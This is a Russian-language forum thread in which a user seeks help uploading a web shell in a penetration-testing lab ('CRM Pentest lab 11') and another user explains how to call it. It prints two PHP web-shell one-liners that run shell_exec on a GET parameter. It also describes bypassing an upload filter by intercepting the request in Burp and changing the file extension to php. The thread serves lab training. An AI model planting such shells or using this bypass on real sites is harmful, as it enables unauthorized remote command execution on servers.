Помощь в загрузке шелла в CRM Pentest lab 11.

  • Автор темы Sykes
  • Дата начала
  • Теги
    shell
Sykes

Sykes

Well-known member
17.10.2017
147
91
Не выходит загрузить шелл на сайт, всё делается по канонам и гайдам.
Burp Community, обновлен из реп, прокси через FoxyProxy, шелл вида <? echo shell_exec($_GET['cmd']) ?> или <? echo shell_exec($_GET['e'].' 2>&1'); ?>. Грузил шелл в jpg, jpeg, gif, барпом ловил запрос и менял расширение шелла на php - толку нет. Когда шел по пути /test/logo/shell.php, то белый экран, при других шеллах ошибка 404. Будьте добры помочь
 
C

Citizen0

Well-known member
07.02.2017
197
220
Когда шел по пути /test/logo/shell.php, то белый экран,
А что Вы хотите увидеть?
Для первого шелла нужно указать параметр cmd, для второго - e
Код:
site/test/logo/shell.php?cmd=%команда%
или
Код:
site/test/logo/shell.php?e=%команда%
Например,
Код:
site/test/logo/shell.php?cmd=ls
 
  • Нравится
Реакции: yarr и Vertigo
Мы в соцсетях: